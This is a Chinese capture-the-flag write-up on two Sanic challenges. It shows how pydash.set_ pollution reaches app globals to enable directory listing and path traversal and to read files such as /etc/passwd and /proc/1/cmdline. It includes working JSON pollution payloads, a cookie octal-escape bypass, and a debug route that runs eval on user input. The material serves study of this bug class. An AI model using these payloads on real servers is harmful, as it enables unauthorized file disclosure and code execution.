从ciscn2024 sanic和DASCTF2024 Sanic’s revenge 学sanic原型链污染

四川回来 给机房带来了久违的流感

ciscn2024 sanic

访问/src给出源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
from sanic import Sanic
from sanic.response import text, html
from sanic_session import Session
import pydash
# pydash==5.1.2


class Pollute:
def __init__(self):
pass


app = Sanic(__name__)
app.static("/static/", "./static/")
Session(app)


@app.route('/', methods=['GET', 'POST'])
async def index(request):
return html(open('static/index.html').read())


@app.route("/login")
async def login(request):
user = request.cookies.get("user")
if user.lower() == 'adm;n':
request.ctx.session['admin'] = True
return text("login success")

return text("login fail")


@app.route("/src")
async def src(request):
return text(open(__file__).read())


@app.route("/admin", methods=['GET', 'POST'])
async def admin(request):
if request.ctx.session.get('admin') == True:
key = request.json['key']
value = request.json['value']
if key and value and type(key) is str and '_.' not in key:
pollute = Pollute()
pydash.set_(pollute, key, value)
return text("success")
else:
return text("forbidden")

return text("forbidden")


if __name__ == '__main__':
app.run(host='0.0.0.0')

cookies伪造

注意到/admin路由存在一个pydash.set_ 不过调用的话需要session为admin

1
2
3
4
5
6
7
8
@app.route("/login")
async def login(request):
user = request.cookies.get("user")
if user.lower() == 'adm;n':
request.ctx.session['admin'] = True
return text("login success")

return text("login fail")

显然 在cooikes里面直接使用adm;n是不行的 这个 cookies会把他作为另外一个值解析 下个断点调试一下看看有没有绕过方法

image-20240726154559987

显然直接传递参数不行

翻找sanic的源码 在cookies 目录的request.py文件下存在这样一个函数

image-20240726155923160

这个函数是对所给的8进制字符串进行转换

image-20240726160708887

调用也很好找 当该字符的长度>2 同时字符串整体存在“”包裹的时候就会触发

image-20240726160917091

成功提权成admin

pydash==5.12原型链污染

注意到传递一个键值和一个键名 会调用pydash.set_ 看看这个函数干了什么

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
def set_(obj, path, value):
"""
Sets the value of an object described by `path`. If any part of the object path doesn't exist,
it will be created.

Args:
obj (list|dict): Object to modify.
path (str | list): Target path to set value to.
value (mixed): Value to set.

Returns:
mixed: Modified `obj`.

Warning:
`obj` is modified in place.

Example:

>>> set_({}, 'a.b.c', 1)
{'a': {'b': {'c': 1}}}
>>> set_({}, 'a.0.c', 1)
{'a': {'0': {'c': 1}}}
>>> set_([1, 2], '[2][0]', 1)
[1, 2, [1]]
>>> set_({}, 'a.b[0].c', 1)
{'a': {'b': [{'c': 1}]}}

.. versionadded:: 2.2.0

.. versionchanged:: 3.3.0
Added :func:`set_` as main definition and :func:`deep_set` as alias.

.. versionchanged:: 4.0.0

- Modify `obj` in place.
- Support creating default path values as ``list`` or ``dict`` based on whether key or index
substrings are used.
- Remove alias ``deep_set``.
"""
return set_with(obj, path, value)

给了代码示例 很明显这是一个合并的操作 存在原型链污染的问题

注意到

1
2
3
4
5

@app.route("/src")
async def src(request):
return text(open(__file__).read())

标准的任意文件读取 污染file读取文件

翻找源码 注意到处理的这样一个逻辑

1
2
3
4
5
6
7
8
9
10
11
12
13
if not callable(updater):
updater = pyd.constant(updater)

if customizer is not None and not callable(customizer):
call_customizer = partial(callit, clone, customizer, argcount=1)
elif customizer:
call_customizer = partial(callit, customizer, argcount=getargcount(customizer, maxargs=3))
else:
call_customizer = None

default_type = dict if isinstance(obj, dict) else list
tokens = to_path_tokens(path)

这里对传入的path使用to_path_tokens进行了处理

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
def to_path_tokens(value):
"""Parse `value` into :class:`PathToken` objects."""
if pyd.is_string(value) and ("." in value or "[" in value):
# Since we can't tell whether a bare number is supposed to be dict key or a list index, we
# support a special syntax where any string-integer surrounded by brackets is treated as a
# list index and converted to an integer.
keys = [
PathToken(int(key[1:-1]), default_factory=list)
if RE_PATH_LIST_INDEX.match(key)
else PathToken(unescape_path_key(key), default_factory=dict)
for key in filter(None, RE_PATH_KEY_DELIM.split(value))
]
elif pyd.is_string(value) or pyd.is_number(value):
keys = [PathToken(value, default_factory=dict)]
elif value is UNSET:
keys = []
else:
keys = value

return keys

会尝试使用一个unescape_path_key作为路径解析的正则匹配符号

1
2
3
4
5
6
7
8
9
10
11
keys = [
PathToken(int(key[1:-1]), default_factory=list)
if RE_PATH_LIST_INDEX.match(key)
else PathToken(unescape_path_key(key), default_factory=dict)
for key in filter(None, RE_PATH_KEY_DELIM.split(value))
]
def unescape_path_key(key):
"""Unescape path key."""
key = key.replace(r"\\", "\\")
key = key.replace(r"\.", r".")
return key

注意到这里处理的时候 吧\.作为.去处理 这样我们就能绕过_.的限制了

image-20240726162646278

成功读取/etc/passwd

image-20240726162711892

尝试读取flag

image-20240726162739787

失败了 说明flag并不叫这个名字 寻找可以污染的变量

directory_view& directory_handler

注意到使用了这个函数static

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
def static(
self,
uri: str,
file_or_directory: Union[PathLike, str],
pattern: str = r"/?.+",
use_modified_since: bool = True,
use_content_range: bool = False,
stream_large_files: Union[bool, int] = False,
name: str = "static",
host: Optional[str] = None,
strict_slashes: Optional[bool] = None,
content_type: Optional[str] = None,
apply: bool = True,
resource_type: Optional[str] = None,
index: Optional[Union[str, Sequence[str]]] = None,
directory_view: bool = False,
directory_handler: Optional[DirectoryHandler] = None,
):

这里提供了很多注册时初始化的变量

注意这两个值

1
2
3
4
5
6
7
directory_view (bool, optional): Whether to fallback to showing
the directory viewer when exposing a directory. Defaults
to `False`.
directory_handler (Optional[DirectoryHandler], optional): An
instance of DirectoryHandler that can be used for explicitly
controlling and subclassing the behavior of the default
directory handler.

directory_view表示了是否开启列目录功能

directory_handler表示了选择列出的目录

如果把view设置为true 然后把directory_handler 设置为/ 就能完成flag的读取

寻找directory_view相关的函数

注意到

image-20240726165904471

如果没有设置directory_handler 但是开启了directory_view 会调用DirectoryHandler自动构造

image-20240726165940275

和flask不太一样 sanic运行的app叫__mp_main__

可以从报错里面看出来

image-20240726170408627

写一个eval函数打印一下

1
2
3
4
@app.route("/eval")
async def shell(request):
answer=eval(request.args.get('cmd'))
return text("ok")
1
http://127.0.0.1:8000/eval?cmd=print(app.router.name_index)

image-20240726171410396

里面包括了所有已经注册的路由

1
http://127.0.0.1:8000/eval?cmd=print(app.router.name_index['__mp_main__.static'])

查看static下的属性成员

image-20240726171626191

1
http://127.0.0.1:8000/eval?cmd=print(app.router.name_index['__mp_main__.static'].handler)

可以看到找到了我们想要污染的东西

image-20240726172052408

image-20240726172136001

成功找到directory_view对象

image-20240726172311415

成功找到directory_hander 注意到这里是列表的形式

image-20240726172350346

1
2
3
{"key":"__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.directory_handler.directory_view","value": "True"}

{"key":"__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.directory_handler.directory._parts","value": ["/"]}

在static目录下可以看到flag

image-20240726165713931

污染得到flag

image-20240726165634777

DASCTF 2024暑期挑战赛 Sanic’s revenge

给了部分源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
from sanic import Sanic
import os
from sanic.response import text, html
import sys
import random
import pydash
# pydash==5.1.2

# 这里的源码好像被admin删掉了一些,听他说里面藏有大秘密
class Pollute:
def __init__(self):
pass

app = Sanic(__name__)
app.static("/static/", "./static/")

@app.route("/*****secret********")
async def secret(request):
secret='**************************'
return text("can you find my route name ???"+secret)

@app.route('/', methods=['GET', 'POST'])
async def index(request):
return html(open('static/index.html').read())

@app.route("/pollute", methods=['GET', 'POST'])
async def POLLUTE(request):
key = request.json['key']
value = request.json['value']
if key and value and type(key) is str and 'parts' not in key and 'proc' not in str(value) and type(value) is not list:
pollute = Pollute()
pydash.set_(pollute, key, value)
return text("success")
else:
log_dir = create_log_dir(6)
log_dir_bak = log_dir + ".."
log_file = "/tmp/" + log_dir + "/access.log"
log_file_bak = "/tmp/" + log_dir_bak + "/access.log.bak"
log = 'key: ' + str(key) + '|' + 'value: ' + str(value);
# 生成日志文件
os.system("mkdir /tmp/" + log_dir)
with open(log_file, 'w') as f:
f.write(log)
# 备份日志文件
os.system("mkdir /tmp/" + log_dir_bak)
with open(log_file_bak, 'w') as f:
f.write(log)
return text("!!!此地禁止胡来,你的非法操作已经被记录!!!")


if __name__ == '__main__':
app.run(host='0.0.0.0')

显然可以直接完成污染

1
{"key":"__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.directory_handler.directory_view","value": "True"}

image-20240726201539412

不过过滤了parts 没办法直接通过污染directory._parts完成注入

继续查看可以被污染的变量

1
file_or_directory(Union[PathLike,url]):静态文件的路径或包含静态文件的目录。
1
{"key":"__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.file_or_directory","value": "/"}

把static成功污染到/ 可以读取任意文件 查看环境变量

image-20240727102734743

对的 这个是假的flag

由于我们不知道完整的app.py内容 尝试去读取

1
/proc/1/cmdline  里面储存了执行的命令

image-20240727103213775

成功读取到start.sh 的内容 得知了名字是2Q17A58T9F65y5i8,py

image-20240727103247204

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
from sanic import Sanic
import os
from sanic.response import text, html
import sys
import random
import pydash
# pydash==5.1.2

#源码好像被admin删掉了一些,听他说里面藏有大秘密
class Pollute:
def __init__(self):
pass

def create_log_dir(n):
ret = ""
for i in range(n):
num = random.randint(0, 9)
letter = chr(random.randint(97, 122))
Letter = chr(random.randint(65, 90))
s = str(random.choice([num, letter, Letter]))
ret += s
return ret

app = Sanic(__name__)
app.static("/static/", "./static/")

@app.route("/Wa58a1qEQ59857qQRPPQ")
async def secret(request):
with open("/h111int",'r') as f:
hint=f.read()
return text(hint)

@app.route('/', methods=['GET', 'POST'])
async def index(request):
return html(open('static/index.html').read())

@app.route("/adminLook", methods=['GET'])
async def AdminLook(request):
#方便管理员查看非法日志
log_dir=os.popen('ls /tmp -al').read();
return text(log_dir)

@app.route("/pollute", methods=['GET', 'POST'])
async def POLLUTE(request):
key = request.json['key']
value = request.json['value']
if key and value and type(key) is str and 'parts' not in key and 'proc' not in str(value) and type(value) is not list:
pollute = Pollute()
pydash.set_(pollute, key, value)
return text("success")
else:
log_dir=create_log_dir(6)
log_dir_bak=log_dir+".."
log_file="/tmp/"+log_dir+"/access.log"
log_file_bak="/tmp/"+log_dir_bak+"/access.log.bak"
log='key: '+str(key)+'|'+'value: '+str(value);
#生成日志文件
os.system("mkdir /tmp/"+log_dir)
with open(log_file, 'w') as f:
f.write(log)
#备份日志文件
os.system("mkdir /tmp/"+log_dir_bak)
with open(log_file_bak, 'w') as f:
f.write(log)
return text("!!!此地禁止胡来,你的非法操作已经被记录!!!")


if __name__ == '__main__':
app.run(host='0.0.0.0')

访问/Wa58a1qEQ59857qQRPPQ 得到hint、

image-20240727103419067

不知道flag的名字是什么 还是没办法读取 需要找一个方法 类似directory._parts的东西去读取目录

起一个环境测试一下

1
2
3
4
5
6
7
8
app = Sanic(__name__)
app.static("/static", r"D:\Desktop\sanic", directory_view=True)
Session(app)


@app.route('/', methods=['GET', 'POST'])
async def index(request):
return html(open('static/index.html').read())

image-20240727105626162

handler

在 Sanic 中,_static_request_handler 是一个内部函数,用于处理静态文件请求

image-20240727110740757

断点下到header这里

前面都是一些获取了请求头之后 对数据头的处理和分析

image-20240727111334650

后面继续走下去 会调用return await directory_handler.handle(request, request.path) 方法

image-20240727111624933

handle方法

image-20240727111644133

1
current = path.strip("/")[len(self.base) :].strip("/") 

这里先将传入的path两端的斜杠去掉 然后去掉 self.base 的长度部分,然后再一次去除掉两端的斜杠 从而得到静态文件的相对路径

如果开启了directory_view 就会列出他的目录

这里的self.base这个属性我们是可以控制的,是handler里面的一个属性

image-20240727113151806

但是这个path是我们访问的路径 也可以直接控制

如果修改这个值为.. 就能实现目录穿越

image-20240727114217528

image-20240727114255672

现在就要寻找一个可以使得值变成..的方法

注意到

1
2
3
4
path="/static/tmp/aaaaaa.."
base="static/tmp/aaaaaa"
current = path.strip("/")[len(base) :].strip("/")
print(current)

输出

image-20240727114907541

只要存在一个已知目录 访问/目录../ 即可造成目录穿越

在目录下创建一个test文件夹

image-20240727114631378

访问http://127.0.0.1:8888/static/test../

然后把self.base的值设置成static/test

image-20240727115209368

成功穿越

解题

先污染file_or_directory为tmp目录

1
{"key":"__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.file_or_directory","value": "/tmp"}

然后污染base的值为static/存在的文件夹名(adminlook可知)

1
{"key":"__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.directory_handler.base","value": "static/qrt4t8"}

image-20240727120103676

成功返回了static上一层的flag名字 45W698WqtsgQT1_flag

然后读取即可

image-20240727120217342